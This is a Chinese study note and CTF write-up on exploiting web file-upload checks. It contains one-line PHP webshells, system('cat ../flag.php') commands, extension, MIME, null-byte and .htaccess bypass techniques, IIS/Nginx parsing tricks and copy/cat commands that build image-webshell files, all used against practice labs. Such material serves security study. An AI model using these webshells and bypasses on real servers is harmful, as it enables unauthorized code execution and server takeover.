文件上传
基础知识
1、一句话木马
参考文章:(18条消息) Web安全-一句话木马_Tr0e的博客-CSDN博客_yijuhuamuma
1 | eval($_POST['cmd']); @ |
2、绕过方式
2.1、客户端检测绕过
按F12打开网络检测,提交一个非法格式的文件,若没有请求数据发送出去,直接判断出是非法格式则是客户端检测。
如图,只在客户端前端对文件格式是否为满足条件的png、bmp、gif、jpg进行了校验。
1 | <script type="text/javascript"> |
1 | function checkFile() { |
将.php后缀改为符合前段检测的.jsp,抓包修改后缀名为php即可绕过前端校验,如果是JS校验也可以选择禁用浏览器JS绕过。
2.2 服务端MIME绕过
MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的标准,用来表示文档、文件或字节流的性质和格式。
MIME检测的是数据包content-type字段。常见的图片格式的MIME类型有以下几种类型:
PNG图像:image/png
GIF图形: image/gif
JPG图形:image/jpeg
如下,将Content-TYpe修改为符合MIME检测的image/jpeg
之后用蚁剑进行连接。
2.3 服务端目录检测绕过
在文件上传时,有的程序允许用户将文件放到指定的目录中,如果指定目录存在就将文件写入目录,不存在则先建立目录,然后写入。关键代码如下:
1 | $upload_dir = $_POST['upload_dir']; |
在HTML页面有一个隐藏的表单,它默认提交的文件夹名称为value的值,即”uploads”。代码如下:
1 | <form action="upload_dir.php" method="post" enctype="multipart/form-data"> |
利用:如果在上传文件的数据包中存在能操作上传路径的参数,可修改该参数配合解析漏洞getshell。
如利用条件:php<5.3.4 配置条件:php.ini:magic_quotos_gcp = Off
存在可控制上传路径的参数可结合其他姿势上传绕过, 如下,POST头内存在可控制上传路径的save_path参数,结合%00主动设置上传文件命名格式
3、黑名单
3.1、特殊文件名绕过
大小写绕过
空格绕过
使用burp抓包后在文件名后面加个空格
在文件后面加上
.
对于windows系统,文件最后一个符号是
.
时会被丢弃在文件名后面加上
. .
(点空格点)在文件名后加上
::$DATA
php+windows
的情况下:如果文件名+::$DATA
会把::$DATA
之后的数据当成文件流处理,不会检测后缀名。且保持::$DATA
之前的文件名。利用windows特性,可在后缀名中加::$DATA
绕过。双写绕过
一些题目是把黑名单中的名字换成空格,则双写后缀名绕过
使用
%00
若修改上传路径为
./upload/1.php%00
,在后端会把上传路径与文件名进行拼接,然后%00会把后面的内容进行截断,从而修改文件名称。使用
0x00
截断上传的文件名:在burp中修改空格的16进制把20改为00
3.2 上传配置文件绕过
.htaccess
配置文件条件:
Apache
服务器1
2
3<FileMatch "自定义文件名">
SetHandler applicatioin/x-httpd-php
</FileMatch>只要上传的文件名包含自定义文件名,都会按照php来解析
.user.ini
配置文件(实用不大)1
auto_perpend_file=1.jpg
只要执行该目录下的php文件就包含1.jpg文件中的代码
1.先上传个.user.ini文件,再上传个1.jpg内容是
<?php phpinfo();?>
2.若上传目录中没有php文件则自己手动创建一个,空的php文件。
3.然后访问php文件就会执行1.jpg中的内容。
4.上传的文件只要含有.htaccess中自定义文件名就可以当作php来解析。
4、漏洞解析
4.1 IIS解析漏洞
IIS6.0有两个解析漏洞,一个是如果目录名包含.asp、.asa、 .cer字符串,那么这个目录下所有的文件都会按照asp去解析。eg: “test.asp/1.jpg”另一个是只要文件名中含有.asp、 .asa、 .cer会优先按asp来解析eg: “1.asp; . jpg”.IIS7.0/ 7.5是对php解析时有一个类似于Nginx的解析漏洞 ,对任意文件名只要在URL后面追加上字符串”/任意文件名.php”就会按照php的方式去解析。eg:“http:/ /www. target. com/upload/1. jpg/1. php”
4.2 nginx解析漏洞
目前Nginx主要有这两种漏洞:
1.对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg可以添加为test.jpg/x.php进行解析攻击。(实用)例如:http://www.target.com/upload/1.jpg/1.php
2.对低版本的Nginx可以在任意文件名后面添加%00.php(条件苛刻)例如:http://www.target.com/up1oad/1.jpg%00.php
对于nginx版本要求:nginx 0.5. ;nginx 0.6.*;nginx 0.7 <= 0.7 .65;nginx 0.8 <= 0.8.37
5、白名单
5.1 0x00或%00截断
同黑名单中的内容
5.2 利用文件包含漏洞
条件:
当一些文件上传漏洞waf比较难以绕过,只能使用图片名后缀但图片内容没有进行重新渲染时。
原理:
只要图片中存在可以执行的php语句,即使文件名是图片的格式,只要使用include(‘xxx,jpg’);就可以把图片当做php文件来解析。所以若可以配合文件包含漏洞将是一击重拳,很实用的。
5.3 漏洞解析
IIS解析漏洞:
IIS6.0有两个解析漏洞,一个是如果目录名包.asp、.asa、 .cer字符串,那么这个目录下所有的文件都会按照asp去解析。eg: “test.asp/1.jpg”另一个是只要文件名中含有.asp、 .asa、 .cer会优先按asp来解析eg: “1.asp; . jpg”.IIS7.0/ 7.5是对php解析时有一个类似于Nginx的解析漏洞 ,对任意文件名只要在URL后面追加上字符串”/任意文件名.php”就会按照php的方式去解析。eg:“http:/ /www. target. com/upload/1. jpg/1. php”
nginx解析漏洞
目前Nginx主要有这两种漏洞:1.对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg可以添加为test.jpg/x.php进行解析攻击。(实用)例如:http://www.target.com/upload/1.jpg/1.php
2.对低版本的Nginx可以在任意文件名后面添加%00.php(条件苛刻)例如:http://www.target.com/up1oad/1.jpg%00.php
对于nginx版本要求:nginx 0.5. ;nginx 0.6.*;nginx 0.7 <= 0.7 .65;nginx 0.8 <= 0.8.37
5.4 文件内容检测
1.只检测文件头
php中一个检测函数getimagesize():可以检测一张图片的文件头,从文件头中判断照片的类型。所以,仅仅修改文件的后缀名是绕不过的。可以打开一张正常的图片,用记事本打开后在后面或者中间插入php语法。
制作图片马
windows下命令
1 | copy 1.png/b+shell.php/a 2.png |
1.png是正常的图片,shell.php是木马 2.png是新生成的图片马。linux下命令:
1 | cat 1.png shell.php >2.png |
2.对文件内容进行检测
可能考虑用户体验,只会检测前多少行内容,然后就可以一直重复文件内容,在后面加入脚本语言进行绕过。…/…/
1 | http://192.168.18.129/dvwa/hackable/uploads/phpin.jpg |
例题巩固
【Web Level1】ez_upload
题目分析
打开题目之后提示我们上传文件, 上传一个我们提前写好的 php木马后, 出现提示
为了能成功上传木马, 我们需要把后缀 php先改为 gif
一句话木马内容
1 eval($_POST['zishuQ']); @
- 此时我们再上传 zsq.gif, 提示上传成功, 并且得到了木马在服务器中的位置 uploads/zsq.gif
题解
打开 burp进行拦包, 注意是在上传成功之后再进行拦包
发送到 Repeater模块
发送之后就可以把 Proxy模块里面的 Intercept关掉, 不然后面蚁剑连接容易出错误
修改 filename, 将后缀 gif修改为 php, 以保证我们的代码能够正常执行
打开蚁剑, 输入木马所在地址
密码是在木马中POST传入的参数
连接成功, 进入靶机的服务器
找到 flag, 给他扬喽!
flag{9f6acfb7-5a74-4a2f-ac21-c75bbe86f8fd}
解题心得
一道很典型很容易上手的文件上传题目, 没有耍太多心眼, 修改木马后缀名, 再用burp抓包修改成php后缀就成功了, 并且初步学习了蚁剑的用法
【Web Level2】EZ_upload-js
题目分析
以个人的做题感觉, 与上面一道题, 在分析和解题过程上没有太大差别, 只是找木马地址时有一些区别
打开题目我们首先上传一个后缀 php的文件, 果然寄了, 并提示我们要上传图片形式的文件
接着, 我们把上一道题用的木马 zsq.gif传上去
下面我们需要获得木马的地址, 这道题并没有直接给我们, 那么是时候开启我们的burp了
题解
- 打开 burp进行拦包, 并发送到 Repeater模块
- 与上一道题一样, 修改 filename, 修改完点击 send发送, 木马上传成功
- 查看 Response中的有用信息, 寻找木马地址
- 成功找到地址
img
- 后面打开蚁剑, 进行连接, 步骤与上一题一样, 不再赘述
- 得到flag > flag{aee0-14b14124-fe03c361-1eed93589}
解题心得
个人认为文件上传主要有两个主要内容, 第一个是上传木马, 第二个是找到木马所在的位置, 上一道题是练习上传木马, 这一道题是练习寻找木马位置
【Web level 2】upload
题目分析
- 这道题给出了关键的三行判断代码, 很明显是是一道黑名单绕过的题目
- 根据代码, 在黑名单里面的后缀格式, 都会被转为””
- 尝试上传后缀php的文件
上传zsq.php, 在burp中拦包后发现, 只剩下了一个zsq.
- 尝试了很多种方法都寄了, 最后发现双写绕过的方法成功了
题解
- 随便改个后缀模式上传, 打开burp进行拦包处理
- 将后缀改为pphpph, 再次发送
- “php”会被替换为“”, p“php”hp在被替换之后会变成p“”hp, 也就是我们需要的php
- 打开蚁剑进行连接
- 找到flag, 扬喽!
解题心得
一道黑名单绕过的题目, 尝试并且学习了不少关于黑名单绕过的方法, 很有收获
【Web Level2】EZ_UPLOAD
题目分析
先随便传个php试试, 无法通过, 上传图片成功
用之前的方法, 上传zsq.png 用burp 抓包再修改后缀名, 发现还是无法通过
之后我们考虑上传配置文件的方法
很奇怪, 上传.htaccess文件是成功的, 但是上传.user.ini文件就寄掉
后面查看源码发现, 是给.htaccess留了后门, 所以能够上传成功
1 | if( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" || strtolower( $uploaded_ext ) == "htaccess" ) |
- 那我们就写一个.htaccess文件传上去
题解
- 写一个.htaccess文件并上传
1 | <FileMatch "zsq"> |
- 上传zsq.png
- 打开蚁剑进行连接
- 此时的文件后缀直接用上传时的png就可以, 不需要用php(毕竟也没有zsq.php的文件)
- 成功连接
- 找到flag, 扬喽!
解题心得
这道题主要考察了上传配置文件绕过, 虽然对配置文件这样的写法还不了解, 但是照葫芦画瓢, 也能成功的解出
【Web level1】No Antsword
题目分析
- 审题知道,首先不能用蚁剑
- 那么我们考虑使用Linux的cmd命令来输出flag内容
- 首先上传zsq.gif并进行抓包
- 通过修改命令找到flag文件
解题
- 写好我们的一句话木马, 修改后缀gif并上传, 用burp抓包
1 | system('ls .'); @ |
- 在当前目录没找到, 去上一级目录再找
1 | system('ls ..'); @ |
flag.php uploads
- 运气很好, 找到flag的文件了
1 | system('cat ../flag.php'); @ |
- 输出flag内容
解题心得
这道题主要考察一句话木马的使用以及对Linux命令的操作
【Web Level4】EZ_double_render
题目分析
这道题是通过图片的形式,将木马插入在图片中,以达到连接的作用,这里使用了工具010EditorPortable,用于图片的比对
题解
- 先随便找一张gif图,命名为1.gif
- 写一句话木马 ,命名为zsq.php
1 | eval($_POST['zsq']); @ |
- 在命令行中键入以下操作
1 | copy 1.gif /b + zsq.php /a 2.gif |
- 将图片上传,并从靶机中把图片下载到本地,命名为2_after.gif
- 使用010EditorPortable进行比对,寻找没有变化的部分
- 在没有变化的部分编辑一句话木马,并保存图片再次上传
- 上传后保存地址进行蚁剑连接
- 这里有一个file传参, 直接连接不能成功, 猜测是需要将图片地址传给参数file(xxx.xxx.xxx.xxx/?file=upload/2_after.gif)
- 拿到flag, 结束
- 更细节的步骤请查阅网址https://blog.csdn.net/weixin_45588247/article/details/119177948
个人心得
这道题其实我没用到步骤6., 因为我上传并拿下来的gif图没有被渲染,可以直接进行蚁剑的连接, 但是方法要学会。